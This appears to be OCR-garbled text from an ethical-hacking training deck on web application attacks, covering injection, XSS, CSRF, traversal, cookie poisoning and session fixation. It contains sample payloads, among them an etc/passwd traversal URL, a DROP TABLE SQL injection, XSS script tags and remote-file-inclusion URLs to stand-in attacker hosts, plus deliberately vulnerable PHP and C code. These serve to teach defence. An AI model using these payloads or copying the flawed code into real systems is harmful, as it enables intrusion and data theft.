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Web Application Attack Report
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PHP applications are three times more
vulnerable to Cross Site Scripting Attacks in
comparison to .NET applications

In 2014, attacks have increased 449 in '
duration in comparison to 2013

Websites running WordPress were attacked
24.1% more than websites running on all
other CMS platforms combined

AWS servers originated 20% of all known
vulnerabilities (CVEs) exploitation attempts -,

In 2014, remote file inclusion (RFI)
attacks increased 24% in comparison to

2013

Retail websites were targeted by 48.1%
of all attack campaigns

_—

htitp//www.imperva.com
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Use of Stolen Creds

Use of Backdoor or C2

saLl

RF1

Abuse of Functionality

Brute Force

XSS

Path Traversal

Forced Browsing

OS Commanding

50.7%

40.5%

>

http-//www_statista_ com
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Introduction to Web Applications
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Web applications provide an interface between end users and
web servers through a set of web pages that are generated at
the server end or contain script code to be executed dynamically

within the client web browser

* = Though web applications enforce certain security policies, they

6«' are vulnerable to various attacks such as SQL injection, cross-
site scripting, session hijacking, etc.

Web technologies such as Web 2.0 provide more attack surface
for web application exploitation

Web applications and Web 2.0 technologies are invariably used
to support critical business functions such as CRM, SCM, etc. and
improve business efficiency
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How Web Applications Work
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http://juggyboy.com/?id=6329&print=Y

PE—— TSN
E -------------------- )

User Login Form Internet

OS System Calls

Web Application

‘
- .
-
-
\\_»\\
o
[r =3 o SELECT * from news where id = 6329
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Web Application Architecture

P == Intemet\ )
7 <L web )_, _— )
Clients ST  Business Layer
Web Browser . -
5 E - Application Server
Presentation
| o I — ~ J2EE .NET comMm S e
- - ern
Smart Phones, ’Sllversl:g.ht. ‘ Web Logic
Web rtndiiets : XCode C++ coOM+
Appliance Sereses
’ Legacy Application ‘
Web Server r Data Access ‘
Presentation Layer
Database Layer

[ Firewall l

HTTP Request Parser |
l Cloud Services

’ Database Server l

W ‘ Serviet . Resource Authentication —_——
Container : Handler and Login B2B
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Web 2.0 Applications

4 Web 2.0 refers to a generation of Web applications that provide an infrastructure for more dynamic user
participation, social interaction and collaboration

Blogs (Wordpress)

Advanced gaming

Dynamic as opposed to static site content

RSS-generated syndication

Flash rich interface websites é

" Social networking sites (Facebook,

Twitter, Linkedin, etc.)

|
.
Frameworks (Yahoo! Ul rf(@.s
Library, jQuery) TS Mash-ups (Emails, IMs, Electronic

B, P, payment systems)
Cloud computing websites like 6
{amazon.com)

~
™

Google Base and other free Web services
Interactive encyclopedias and dictionaries — — (Google Maps)

Online office software (Googie Docs and Microsoft light)
Ease of data creation, modification, or
deletion by individual users
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,!;,):\ ! - Business Logic Flaws
A ~ Technical Vulnerabilities

Custom Web Applications L i Layer 7
Third Party Coi ce / Commercial

Database 7 — ayer S - le / MySQL / MS sQL

Web Server

ndows / Linux

Operating S / OS X
Network : uter / Switch
Security IPS / IDS




x-’.‘-

N e a— T3l NORDUNet

Nordic Gateway for Research & Education
COOFPERATION GCENTER

European Union

: _ Information Broken Account =
- ) 101010 ' g
/ o u)v Leakage Management o _;-_ S
3 101 r - .-.
S b - - " N '-*_:'- 3
Cookie Insecure Improper d
Poisoning Storage Error Handling

..................................................

- &~ Parameter/Form . e r Log
o ‘.(7 - ., 4 =
oS, O Tampering (N’ Tampering

<7 73y S -

Directory sSQL Denial of 2 ' 2 Buffer

Traversal Injection ; Service (DoS) Overflow

Unvalidated Broken Access Broken Session
Input Control Management

Cross Site Cross Site Security
Scripting (XSS) \ - Request Forgery Misconfiguration
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Web Application Threats - 1
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Platform
Exploits J
Insecure Insufficient Failure to
Direct Object Transport Layer Restrict URL
References Protection Access
e ure = Obfuscation q ;
EEvEtogsaphic Application =
Storage PP Q
) e NP e e
Protocol Attacks . . Z
Exploits
Authentication Un\.lahdated
Hijacking Redirects and
Forwards
Session CAPTCHA

Fixation Attack Attacks
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Invalidated Input

Input validation flaws refers to a web application vulnerability
where input from a client is not validated before being
processed by web applications and backend servers

An attacker exploits input validation flaws to perform
cross-site scripting, buffer overflow, injection attacks,
etc. that result in data theft and system malfunctioning

3 string sgl = "select * from Users
http: //www. juggyboy . com
/login.aspx?user—jasons :tler e s e
Camaa-—mpringtlald and pwd—="" + Password.Text + ""“r
Browser Post Request — Modified Query

= B
‘E ] Eomrmsnucnsns SSrarENas
}% = Browser input not
— = validated by the web

Database Hppicates
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Parameter/Form Tampering

4 A web parameter tampering attack involves the manipulation of parameters exchanged

between client and server in order to modify application data such as user credentials E

and permissions, price, and quantity of products

4 A parameter tampering attack exploits vulnerabilities in integrity and logic validation
mechanisms that may result in XSS, SQL injection, etc.

http //www /uggybank com/cust asp 7pro_flle=21&debit—2 5 00 S - LEELES

Other parameters can

be changed including
attribute parameters

‘tlullllullln’
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- manipulate variables
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Directory Traversal

access restricted directories
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dot-dot-slash (../)

Accessing files located outside the web publishing directory using directory traversal

http://www.juggyboy.com/GET/process.php./../../ .0 .0 .0 ..[../..[etc/passwd

Attacker

E T o e e Ly
—_—

& e e TRl > cmssccncenesnazaaDy
ononrrsrnnsenasscns omme P

Server responds with
password files
-;.":"“i:l.a-l. ...é;‘;:.;:....;'.‘.c;;.e;;;;;.l-:h.);';h;;‘.......................

daemon:*:1:1::/tmp:
Jason'33b698076f76d57..182 100: Developer/honie/users/)asonl-lbm/csh

avaananis
'nn-""'

Stheme = "Jason.php'’

if ( is set( $ COOKIEL'THEME'] ) )
Stheme — $ COOKIE[ THEME'] ;

include (

" /home fusers/juggyboy/Jason/" _

Sthee ) :i2>

'llllllllllllll'lll.

Vulnerable Server Code
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Security Misconfiguration

Easy Exploitation

Using misconfiguration vulnerabilities, attackers gain
unauthorized accesses to default accounts, read

- L P8 unused pages, exploit unpatched flaws, and read or
>4 write unprotected files and directories, etc.
Common Prevalence
Server = Security misconfiguration can occur at any level
bty Conﬁgqra’:lon- sl of an application stack, including the platform,
Problems web server, application server, framework, and
= custom code
o
=
-
) -]

Example

© The application server admin console is automatically
installed and not removed

© Default accounts are not changed

& Attacker discovers the standard admin pages on server,
logs in with default passwords, and takes over

T-O 1-” -
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Injection Flows

Injection flaws are web application vulnerabilities that allow untrusted data to be
interpreted and executed as part of a command or query

Attackers exploit injection flaws by constructing malicious commands or queries that
result in data loss or corruption, lack of accountability, or denial of access

Injection flaws are prevalent in legacy code, often found in SQL, LDAP, and XPath queries,
etc. and can be easily discovered by application vulnerability scanners and fuzzers

SQL It involves the injection of malicious SQL
Iinjection queries into user input forms

d

Command It involves the injection of malicious code ———
Iinjection through a web application ﬁ :

LDAP It involves the injection of malicious LDAP
Injection statements

s




cooFrPERATIO

European Union

SQL Injection Attacks

-1 SQL injection attacks use a series of malicious SQL queries to directly
manipulate the database
-1 An attacker can use a vulnerable web application to bypass normal security
measures and obtain direct access to the valuable data

. SQL injection attacks can often be executed from the address bar, from
within application fields, and through queries and searches

o1 <2php
----o---n‘ test') ;DROP TABLE Messages; —— ‘ 02 §32§§;32) save email (Suser,
03
When this code is sent to the database & Ssgl — "INSERT INTO
server, it drops th.e Messages table Messages (
§ os user, message
:......-.........9 ...... S S e === o6 ) VALUES (
@ § o7 Smessage: Smmexty
[ e —— 0 os )y
= 09 return mysgl guery (Ssgl) ;
Web e_ 10 | }
Browser | T » R 11 | =>

SQL Injection vulnerable server code

Note: For complete coverage of SQL Injection concepts and techniques, refer to Module 13: SQL Injection
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Shell -1  An attacker tries to craft an input string to gain shell access to a web k (
Injection server

D 2 - = =
o e -1 Shell Injection functions include system (), StartProcess (),
{} Java.lang.Runtime.exec (),
System.Diagnostics.Process.Start (), and similar APls
HTML -3 This type of attack is used to deface websites virtually. Using this
Embedding attack, an attacker adds an extra HTML-based content to the
i vulnerable web application
</>a - In HTML embedding attacks, user input to a web script is placed into
the output HTML, without being checked for HTIVIL code or scripting
File s . = =
Injection -1 The attacker exploits this vulnerability and injects malicious code
ee into system files
L J
] http://www. juggyboy .com/vulnerable . php?COLOR=http://evil/

exploit?
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Command Injection Example

Attacker Launching
Code Injection
Attack

=
@ O http://juggyboy/cgi-bin/Ispro/ispro_cgihit_out=1036

Malicious code:
www . juggyboy .com/banner .gif| | newpassword| [1036
160|468

An attacker enters malicious code (account
number) with a new password A\ Site URL | www_juggyboy.com

Boy.com

User Name [ Addison

Email Address [addi@juggyboy.com

Banner URL [.gif | Inewpassword| 1036]60|468 ]

The last two sets of numbers are the Paccasord [ newpassword ] Submit
banner size

Once the attacker clicks the submit button, Q

the password for the account 1036 is

changed to “newpassword" Poor input validation at server Ef-?t_tzlr_':
script was exploited in this attack ey

The server script assumes that only the that uses database INSERT and |

URL of the banner image file is inserted UPDATE record command E

into that field Server
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File Injection Attacks

==t <2php
OO Sdrink = ‘coke’;
if (isset( $_GET [ 'DRINK"] ) )
<form method="get"> Sdrink = S GET[ ‘DRINK'];
<select name="DRINK'"> regquire( Sdrink . '.php" )
<option wvalue=“pepsi">pepsi</option> o>

<option value=“coke">coke</option>

B g e
<input type="submit">
</ form>
T
P P -
Server File System

Client code running in a browser Vulnerable PHP code

http: //www. juggyboy .com/orders . php?DRINK=http://jasoneval .com/exploit? <€------- Exploit Code

Attacker injects a File injection attacks enable attackers to exploit
remotely hosted file at vulnerable scripts on the server to use a remote file
www.jasoneval.com instead of a presumably trusted file from the local

containing an exploit file system
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e
What is LDAP Injection?

An LDAP injection technique is used to take
advantage of non-validated web application input
vulnerabilities to pass LDAP filters used for
searching Directory Services to obtain direct Operator Example
access to databases behind an LDAP tree e T

Filter

(attributeName operator wvalue)
Syntax

|
|
':
!

= (cbjectclass—user)

“w
|

>= (mdbStorageQuota>=100000)

What is LDAFP? - —
LDAP Directory Services store and organize <= S o e O L T SRR
information based on its attributes. The information

is hierarchically organized as a tree of directory = [
entries = .

s {(displayName—John¥*)

: AND (&)
LDAP is based on the client-server model and OR (])

clients can search the directory entries using
filters NOT (1)
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How LDAP Injection Works

1 LDAP injection attacks are similar to SQL injection attacks but exploit user parameters to
generate LDAP query

-1 To test if an application is vulnerable to LDAP code injection, send a query to the server
meaning that generates an invalid input. If the LDAP server returns an error, it can be
exploited with code injection techniques

Account Login

: Username Cjueevbov)(&)) j ______________________
' Password Eblah I :
Attacker §. Submit }

Lo

If an attacker enters valid user name "juggyboy", and injects juggyboy)(&)) then the URL string becomes
(&(USER=juggyboy)(&))(PASS=blah)) only the first filter is processed by the LDAP server, only the query
(B (USER=juggyboy)(&)) is processed. This query is always true, and the attacker logs into the system
without a valid password

'Ill.llllllllll.
AR RSN RN}
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<form method="post"”
action="page .aspx">
<input type="hidden" name=
“"PRICE"” wvalue="200.00">
Product name: <input type=
"text" name=""product”
value="Juggyboy Shirt"><br>
Product price: 200.00"><br>
<input type="submit" wvalue—
"submit">
</ form>

si@Connect

Product Name Guggyboy Shirtj

J

Submit

Product Price t 200

"y
= IR NORDUnet
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Hidden Field Manipulation Attacks

Normal Request

http: //www. juggyboy

.com/page . aspx?prod
nct=Juggyboy3$20Shir
t&price=200.00

Attack Request

http: //www. juggyboy

.com/page . aspx?prod
nct=Juggyboy$20Shirxr
t&price=2.00

Hidden Field
Price = 2.00

When a user makes selections on an HTML page, the selection is typically stored as form
field values and sent to the application as an HTTP request (GET or POST)

HTML can also store field values as hidden fields, which are not rendered to the screen
by the browser, but are collected and submitted as parameters during form submissions

Attackers can examine the HTMIL code of the page and change the hidden field values in
order to change post requests to server

L
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Cross-Site Scripting (XSS) Attacks

o) Cross-site scripting ('XSS' or 'CSS') attacks exploit vulnerabilities in dynamically generated web pages, which
enables malicious attackers to inject client-side script into web pages viewed by other users

- It occurs when invalidated input data is included in dynamic content that is sent to a user's web browser for
rendering

-1 Attackers inject malicious JavaScript, VBScript, ActiveX, HTML, or Flash for execution on a victim's system by
hiding it within legitimate requests

Malicious script execution Session hijacking
it ey | | ey
s .. | e
bt e | et
e e e
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How XSS Attacks Work

Normal Request This example uses a l

vulnerable page which handles
requests for a nonexistent pages, '

o http://juggyboy.com/jason file.html a classic 404 error pagi/
=2 RSt e st A e ST SRS 3

404 Not found

v
/jason_flle ol Server Code (Handles requests for a
Server Response nonexistent page, a
<........................o - hit 1> classic 404 error page)
<body> ’
<? php |
print "Not found: "™ . —=
XSS Attack Code urldecode (§_SERVER[™
REQUEST URI™]) ;
7>
Server Response :;]h: octy >: s
DO Mt Siemsvd <......-.................e - tml erver
A
Pas enNcountescd 3n Crroc
http://juggyboy.com/<script>alert ("WARNING: The
!‘ application has encountered an error") ;</script>

Note: Check the CEH Tools DVD, Module 12 Hacking Web Application for access cheat sheet
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Cross-Site Scripting (XSS) Attack Scenario: Attacks via Email

m

- e R e TN = == Vo “8 User dicks
- 7 ~ lottery of $2M. click uf the malicious link
: Y - e N T - The Bak b0 clatn st e em e
- s — g s £ -
: = \ﬂ.'-—é“ =A ve -
= - - - — HREF=hutp://bank.co —
Sends email with : = internet S T :
malicious link = - B User 7 5 :
: : Attacker harvests these : :
s = credentials and gets access E v
= : to victim’s bank account H Server sends a
: 9 - page to the user :_:.
- = along with client ‘
a profile dialog-box
s mssnensannsnnnn e R
User enters profile
Teees L e information and
P e ey clicks Submit
Request is received by
Attacker

server hosting bank.com

= In this example, the attacker crafts an email message with a malicious script and sends it to
the victim:

- <A HREF=http://bank.com/registration.cgi?clientprofile—=—<SCRIPT>
maliciocous code</SCRIPT>>Click here</A>

= When the user clicks on the link, the URL is sent to bank.com with the malicious code

< The legitimate server hosting bank.com website sends a page back to the user including the
valueof clientprofile, and the malicious code is executed on the client machine
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| Legitimate
User’s Malicious Attacker's €
= | Server
Browser Script Server

<A HREF=—http://Jjuggyboybank.com/
registration.cgi?clientprofi le—=—<SCRIPT>
malicious code</SCRIPT>>Click here</A>

o Construct a malicioq‘s link

0 S

Email the URL to user and convince user to click on it

@ Ry
: Request the page

o T S L 1 N

Page witH malicious script

' ‘ -
T o TR SR S E g L I it pai et 17 e e
: 3
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Attacker'es
User’s Malicious Legitimate
2 Server
Browser Script Server
o Host a page wnth malicious script )

------------------------------------------------

9Vlew the page hd)sted by the attacker

-

SIISSIIIISIINS

e Send the request with the user’s cookles og
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XSS Example: Sending an Unauthorized Request
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- "

Legitimate
User’s Malicious Attacker's e
2 Server
‘ Browser Script

Server

o Construct a mallmous link

= 3
: : |~y 3
’ : ' = 3
[ gm0
e-E-T-a-l_l_:t_l':i HE.L_?d user and convince user to click on it =

:3“

,e

Page with :rnalicious script :

: B SR 20 RN SEA RIS B kit deds ai s 0

\ : Run : : i
:l.-e...-..?-...-..-..-..)E : !
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XSS Attack in Blog Posting

- " 9 http-//www _techpost.org

User visits the

Te hPusl lt‘k hl’-)st
TechPost > =
Facebook acquires file-sharing service website Facebook acquires file-sharing service
Mew York-bazed start-up that lets uzers privately - New York-bazed start-up that letz uzers privately

=nd zporadically share files through = drag-and-

and zporadically share files through 3 drag-and-
drop interface with additional options_ .. ...

drop interface with additional options_
—ma-

Leave your comment Leawe your comment

User

Jason, | love your blog post!
<script>onfoad=window.location="http
S www. juggyboy.com'</script>

Attacker

Malicious code
<script>onload=

L PR e )

Attacker adds a malicious script in : window.location= ‘
the comment field of blog post  * “http://www. juggy
: boy.com’
: </script>
= is injecting the
= b
v log post
Comment with "
malicious link is Boy.com
G- _ft_c_":?f’_??_ Et‘_e_ f?_r}’_e_'_ = User redirected to a malicious
B website juggyboy.com
>
Database Server Web Application

Malicious Website
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XSS Attack in Comment Field

EROEIE) rop//mmw cechpotors/ S

1u hPost User visits the

TechPost
TechPost s i
Facebook acguires ﬁle-shanng service - - website Facebook acquires file-sharing service
New York-bazed start-up that lets users privately O B A S S D N A K '> New York-bazed start-up that lets uzers privately
and zporadically share files through a drag-and- and zporadically share files through = drag-and-
drop interface with itional options = drop interface with additional options . ___
PP

Comment

Jason, | love your biog post!
- Mark [mark@® maccazoft.com)
Leave your comment

Leave your comment

Jason, 1 love your blog post!
Attacker <zcriptsalext ("Hello
Woxld")</zcxipt>

L

Malicious code
<scripti>alert("Hello
Worid")</script>

is injecting the blog post

Attacker adds a malicious script
in the comment field of blog post

Comment with
malicious link is
stored on the server

Aesnsosnnusnnnissnnenana

o

= .> : Helo World
The alert pops up as soon
as the web page is loaded E

Database Server Web Application Pop up Window
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Websites Vulnerable to XSS Attack

¥55 XSS Archive | Famous anc %

XSSed project provides

= = = <« C AN | wwwxssed.com/archive/special=1 QT2 =
information on all things -
-Si e = Tl
related to cross-site = /; S >
- - -y - - NS At rackw L ey
scripting vulnerabilities Home Hewes Articles Adv. Sebmit Alerts Links XSS info About' Comtact
i XSS Arck | XSS Arch * | TOP Sub | TOP Suk 2 * | TOP Pagerank | N
and is the largest O syndicate
R Domains alreacy xs3 ed
- - s F Gov ek -
online archive of XSS R s e s
- PR Pagerank by Alexa®.
vulnerable websites Vou can subzcribe to cur mailing lst to receive alarts by mail
Date Aathos Domain R s F PR Category Flirror
w/oa/13 dbhony wwvrve bankaustria.at - v 4 o X5% T Or
29/04/14 Jamaicob wdt.waather.fox.com -~ p 3 o xss rarirror
29/03/14 s1ckbOy dife it - o xss mirror
29/048/14 AnonkiVIMinD oreilly.com - o XSS rearrar
Souhail -
29/04/14 Ham: - v o xss marror
20/048/14 Aarchit pMittal xfinity comcast.net * X o xss rarrer
29/04/14 StRoMIX radio. foxneves.com - g o xXss mirror
29/05/14 The PrOph3t locate.apple.com - > o XSS arTor
29/04/14 Tacgar Yasie Pt ford.edu - > o xsSs marror
29/04/14 3 dcob by v lyph € ons - > o xXss marTor
29/03/12 Iamaicob veveve.dictatioa.philips.com * X o xss emirros
=

http://www.xssed.com
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Cross-Site Request Forgery (CSRF) Attack

-J Cross-Site Request Forgery (CSRF) attacks exploit web page vulnerabilities
that allow an attacker to force an unsuspecting user's browser to send
malicious requests they did not intend

-1 The victim user holds an active session with a trusted site and
simultaneously visits a malicious site, which injects an HTTP request for
the trusted site into the victim user’s session, compromising its integrity

creates anew sess:on

=
Stores the sessuon identifier for the 9 :
session in a cookie in the web browser i

| Sends a request frcnn the user’s browser o .
. using his session cookle
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How CSRF Attacks Work
" Servercoae

Symbol L ] <<Zphp
C 3 session start():
Shares User logs into trusted server using his credentials 1L (isset (S REQUEST['symbol']
<form action="buy.php B L EEE> &&
method="POST"> isset (S REQUEST[ 'shares']))

<p>Symbol: <input type="text"”

v REQUE ' symbol *
¥ Server sets a session cookie in the user’s browser SSERve s bockes ($ L x
name="symbol” /></p>

D L L L L L L L LT T T 1.,

-~
<p>Shares: <input type="text" : S REQUEST['shares']) ;} Trusted
name="shares" /></p> : S —— Server
<p><|n'|:)ut i sbenie : Malicious code is executed in the -
i om B Gl oy H trusted server
<fform>r

—

..... > u ﬂ

<................................................9....
Attacker sends a phishing mail tricking

user to send a request to a malicious site

prIm—

Response page contains malicious code e

sre="http://juggyboy.com/j
i R R e e S e A e A A e R S AR shop . php ? symbol —MSFT&S

User requests a page from the malicious server 1 s—1000" /> Malicious

Server
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Web Application Denial-of-Service (Dos) Attack

-1 Attackers exhaust available server resources by sending hundreds of resource-intensive requests,
such as pulling out large image files or requesting dynamic pages that require expensive search
operations on the backend database servers

-3 Application-level DoS attacks emulate the same request syntax and network-level traffic
characteristics as that of the legitimate clients, which makes it undetectable by existing DoS
protection measures

Why Arxe Applications Vulnexrable? Targets

& Reasonable Use of Expectations e CPU, Memory, and Sockets

& Application Environment Bottlenecks & Disk Bandwidth

Database Bandwidth

(0]
@

Implementation Flaws

Worker Processes

(]

2 Poor Data Validation
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Denial-of-Service (Dos) Examples

o

The attacker could create a program that submits the registration forms
" repeatedly, adding a large number of spurious users to the application

e —

i The attacker may overload the login process by continually sending login
/ﬂ" requests that require the presentation tier to access the authentication
mechanism, rendering it unavailable or unreasonably slow to respond

T —

If application states which part of the user name/password pair is incorrect,
an attacker can automate the process of trying common user names from a
dictionary file to enumerate the users of the application

B

The attacker may enumerate usernames and attempt to authenticate to the
site using a username and incorrect passwords, which will lock out the user
account after the specified number of failed attempts.
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Buffer Overflow Attack

Vulnerable Code
' Buffer overflow occurs when an application

writes more data to a block of memory, or

int main{(int argc, char *argv([]) {

buffer, than the buffer is allocated to hold char *dest buffer:
dest buffer = (char *) malloc (10) ;
if (NULL —— dest buffer)
return -—-1:

‘ It enables an attacker to modify the target Ix(arge:>-1) |
- t =1 t burff , 1 ;
process’s address space in order to control Stcopm teany- 2 e Brawiiil
= Pprintf ("The first command-line argument

the process execution, crash the process, is %s.\n", dest buffer): }

and modify internal variables else { printf("No command-line argument
was given.\n"): } free (dest buffer) ;
return 0; }

! Attackers modify function pointers to direct
program execution through a jump or call
instruction and points it to a location in the
memory containing malicious codes

Note: For complete coverage of buffer overflow concepts and technigues, refer to self study module
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Cookie/Session Poisoning

Cookies are used to maintain session state in the otherwise
stateless HTTP protocol

Modify the Cookie Content

Cookie poisoning attacks involve the modification of the contents of a
cookie (personal information stored in a web user's computer) in order
to bypass security mechanisms

Inject the Malicious Content

Poisoning allows an attacker to inject the malicious content, modify
the user's online experience, and obtain the unauthorized
information

Rewriting the Session Data

A proxy can be used for rewriting the session data, displaying the cookie
data, and/or specifying a new user ID or other session identifiers in the
cookie



- { rsi@Connect Tremi‘co NORDUnet

European Union

Hoe Cookie Poisoning Works

GET /store/buy_aspx?checkout=yes HTTP/1 .0 Host- www_juggyshop_com
Accept: */* Referrer: http-//www_juggyshop.com/showprods_aspx Cookie:
SESSIONID=325896ASDD23SA3587; BasketSize=3; tem1=1258; tem2=2658;
tem3=6652; TotalPrice=11568;

Web Server

«€ scsnccccussuasnesssntsnannasassas AT ESA SRS NSNS NS AR A
Web server replies with requested page and
sets a cookie on the user’s browser

. -1 esmsmsanan EEEEEEEEEEES =
-o User browses a web page

0-

User

Attacker steals cookie
{Sniffing, XSS,

GET /store/buy_aspx?checkout=yes HTTP/1.0 Host:

phishing attack) - www_juggyshop.com Accept:- */* Referrer: E
- —~ http-//www_juggyshop.com/showprods_aspx Cookie: =
: : SESSIONID=325896ASDD23SA3587; BasketSize=3; ltem1=1258; =
= < Item2=2658; Item3=6652; TotalPrice=100; s
¥ V - 3
e R — imanred I Lo it :
Attacker orders for product using modified cookie :
e mxsmsmmme e e e e s e i e i s T L e S
Product is delivered to attacker’'s address r v
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Session Fixation Attack

- J In a session fixation attack, the attacker tricks the user to
access a genuine web server using an explicit session ID value

4 Attacker assumes the identity of the victim and exploits his
credentials at the server

Cssmssssmssmssnsans EEsmssmssmssssEssENsssssssEssEssEssEsmssmeen LR

o Attacker logs on to the bank website usnng his credentials

Server
(juggybank.com)

Attacker

< emssmsmsn cemenme T emsmssmsssmsmsensnen.

Web server sets a session ID on the attacker’s machine e

e NN NE e N NS e NERE SRR R NSNS NSNS NSNS NN RSN ee cmmemremeanene D
e Attacker logs into the server using the victim’s
e credentials with the same session ID
Attacker sends an
email containing a
link with a fix
session ID

http://Juggybank.dom/log

M in.jsp?sessionid—4321

User

llllllllllllIlllllllllllllllll.) L'!iJl.Lmu‘
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CAPTCHA Attacks

CAPTCHA is used to prevent automated software from performing actions that degrade the
quality of service of a given system

It aims to ensure that the users of applications are human and ultimately aid in preventing
unauthorized access and abuse

However, attacker can compromise the security of the web application by exploiting
vulnerabilities existed in CAPTCHA

ﬁ) Type of /
CAPTCHA Attacks '

Manlpulatlng ! Attacking the
S A CAPTCHA image

-
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| Supports Weak Algorithm |

Insufficient transport layer protection supports weak algorithms, and ’

-

uses expired or invalid certificates ‘,%'

Launch Attacks

lr % Underprivileged SSL setup can also help the attacker to launch
.- phishing and MITM attacks

-
—_—

This vulnerability exposes user’s data to untrusted third parties and ’ |
can lead to account theft




E o™

Connect =N C \(¥B§RE§ NOBDUDet
N~

CoOoFPFERATION CENTER

European Union

e ¢ ¢ ¢ ¢ ¢ O

Improper Error Handling

2 Improper error handling gives insight into source code such as
logic flaws, default accounts, etc.

- Using the information received from an error message, an
attacker identifies vulnerabilities for launching various web
application attacks

oy.com

Information
Gathered

Null pointer exceptions
System call failure

Database unavailable Could not obtain post/user information

DEBUG MODE
SQL Error: 1016 Can't open file: “‘nuke_bbposts_text. MYD'. {ermmo: 145)

Network timeout

SELECT u.username, u.user_id, u.user_posts, u.user_from, u.user_website, u.user_email,
u.user_msnm, uuser_viewemail, u.user_rank, u.user_sig, u.user_sig_bbcode_uid,
u.user_allowsmile, p.*, pt.post_text, pt_post_subject, pt. bbcode_uid FROM nuke_bbposts p,
nuke_users u, nuke_bbposts_text pt WHERE p.topic_id = "1547" AND pt.post_id = p.post_id
AND u.user_id = p.poster_id ORDER 8Y
p.post_time ASC LIMNT O, 15
Une: 435
File:/user/home/geeks/www/vonage/modules/Forums,/viewtopic.php

Database information
Web application logical flow

Application environment
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Insecure Cryptographic Storage

Insecure cryptographic storage refers to when an application uses poorly written encryption
code to securely encrypt and store sensitive data in the database

— —
This flaw allows an attacker to steal or modify weakly protected data such as credit cards
numbers, SSNs, and other authentication credentials

e
Vulnerable Code Secure Code

public String encrypt (String plainText) { public String encrypt(String plainText) ({

rlainText = plainText.replace(™a” ,”"z") DESKeySpec keySpec = new DESKeySpec (encryptKey) -

plainText = plainText.replace (“b"”,”y"”) : SecretKeyFactory factory =

_______________ new SecretKeyFactory.getInstance (“DES”™) ;
SecretKe ke = factory.generateSecret (keySpec) ;

return Base64Encoder.encode (plainText) : } f 24 = £ 2 )
Cipher cipher = Cipher.getInstance (“DES") ;
cipher.init(Cipher.ENCRYPT MODE , key) -

w byte[] utf8text = plainText.getBytes (“OTF8") ;

byte[]l] enryptedText = ecipher.doFinal (utf8text) -
return Base64Encoder.encode (encryptedText) : }

T ———
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Broken Authentication and Session Management

An attacker uses vulnerabilities in the authentication or session management functions
such as exposed accounts, session IDs, logout, password management, timeouts,
remember me, secret question, account update, and others to impersonate users

http://www. juggyshop.com/s Attacker gains access to the If an application’s timeouts are

ahe/ anid el Comm=R 0N, Juann e web application's password not set properly and a user

id=120MTOIDPXMOOQSABGCKLHC =

JUNZ2JVodes t=NewMexi oo database. If user passwords simply closes the browser

A K — K are not encrypted, the without logging out from sites

" tt?f(.: = stm ks tthe netw:r - attacker can exploit every accessed through a public
pese. O LRE S LICHSEE A0 s users’ password computer, the attacker can use

the session IDs, and reuses
the session I1Ds for malicious
purposes

the same browser later and
exploit the user’'s privileges
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Invalidated Redirects and Forwards

Unvahdated redirects enable attackers to install malware or trlck victirns into dlsclosi ,

passwords or other sensitive information, whereas unsafe forwards may allow .
control bypass

Unvalidated Redirect

Attacker sends an email containing User is redirected to
rewrite link to malicious server

attacker’s server

{(hittp://www. juggyboy.com/redirect.
aspx?=http://www.evilserver.com)

Malicious Server

Unvalidated Forward

W )  ntpl//www juggyshop.com/acmin jsp

Attacker requests page
from server with a forward

Administration Page

- \‘. . Create price list
......................................... > R >
http://www.juggyshop.com/purc
hase.jsp?fwd=admin.jsp

i [[J Create item listing
Attacker is forwarded
to admin page #f pPurchase records

m Registered users

Attacker
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’ WS-Work Processes |
WS-Security
WS-Federation | ' WS-SecureConversion l
WS-Policy
WS WS-Trust
Security .
. = SAML Kerberos X.509

PO'ICV XML Encryption | ' Security Token Profiles I

l XML Digital Signatures '
' XML, SOAP, WSDL, Schema, WS-Advertising, etc. |

’ HTTP l ' .Net TCP Channel, |

Fast InfoSet, etc.
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Web Services Attacks

-1 Web services evolution and its increasing use in business offers new attack vectors in an application
framework

.1 Web services are based on XML protocols such as Web Services Definition Language (WSDL) for describing
the connection points; Universal Description, Discovery, and Integration (UDDI) for the description and
discovery of web services; and Simple Object Access Protocol (SOAP) for communication between web
services which are vulnerable to various web application threats

Presentation Layer , — Parameter tampering, WSDL probing,
SQL/LDAP/XPATH/OS command
XML, AJAX, Portal, Other 25 E: : Sk %

; SRR X PERSS > injection, malware injection, brute-
force, data type mismatch, content
spoofing, session tampering, format

- string, information leakage

Security Layer
WS-Security

Discovery Layer Fault code leaks, permission and access
-===uss=sPp attacks, error leakage, authentication

UDDI, WSDL and certification attacks

Access Layer Buffer overflow, XML parsupg, spoiling
--------- > schema, complex or recursive payload,
DoS, large payload

Attacker
SOAP, REST

Transport Layer S A Sniffing, Snooping, WS-Routing,
HTTP, HTTPS, IMS, Other Replay Attacks, Denial of Service

Web Services Stack Web Services Attack
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Web Services Footprinting Attack

Attackers footprint a web application to get UDDI information such as businessEntity,
business Service, bindingTemplate, and tModel

XML Query

POST /inquire HTTP/1.1

Content-Type: text/xml; charset=utf-8
SOAPAction: "™

Cache-Control: no-cache

Pragma: no-cache

User-Agent: Java/1.4.2 04

Host: uddi.microsoft.com

Accept: text/html, image/gif, image/jpeg,*;
a=-2, /; q=.2

Connection: keep-alive
Content-Length:213

<?xml version="1.0" encoding="UTF-8" 2>
<Envelop

xmins="http://scemas.xmisoap.org/soap/envel

ope/™>
<Body>

<find_service generic="2.0" xmins="urn:uddi-
org:api_v2"><name>amazon</name></find_ser

vice>

</Body>

</Envelop>

HTTP/1.1 100 Continue

XML Response

HTTP/1.1 200 OK

Date: Wed, 01 Jan 2014 11:05:34 GMT

Server: Microsoft-lIS/7.0

X-Powered-By: ASP.NET

X-AspNet-Verstion: 1.1.4322

Cache-Control: private, max-age=0

Content-Type: text/xml; charset=utf-8

Content-Length: 1272

<?xml version="1.0" encoding="utf-8" ?><soap:Envelope
xmins:soap="http://scemas.xmisocap.org/soapfenvelope/"> ximns:xsi="http://www.w3.0org/2008/XMLSchema-
instance” xmins:xsd="http://w3.0org/2008/xmiSchema”><soap:Body><servicelist generic="2.0"
operator="Microsoft Corporation” truncated="false™ xmins="urn:uddi-org:api_v2"><servicelnfos><servicel
serviceKey=6ad412c1-2b7c-5abc-c5aa-5cc6ab3dc843" businessKey="9112358ad-c12d-1234-d4cd-
c8e34e8alaab"><name xmi:lang="en-us">Amazon Research Pane</name></servicelnfo><Servicelnfo
serviceKey="25638942-2d33-52f3-5896-c12ca5632abc” businessKey="adc5c23-abcd-8f52-cd5f-
1253adcefc2a">< 1z 23 ">A Web Services 2.0</name></servicelnfo><servicelnfo
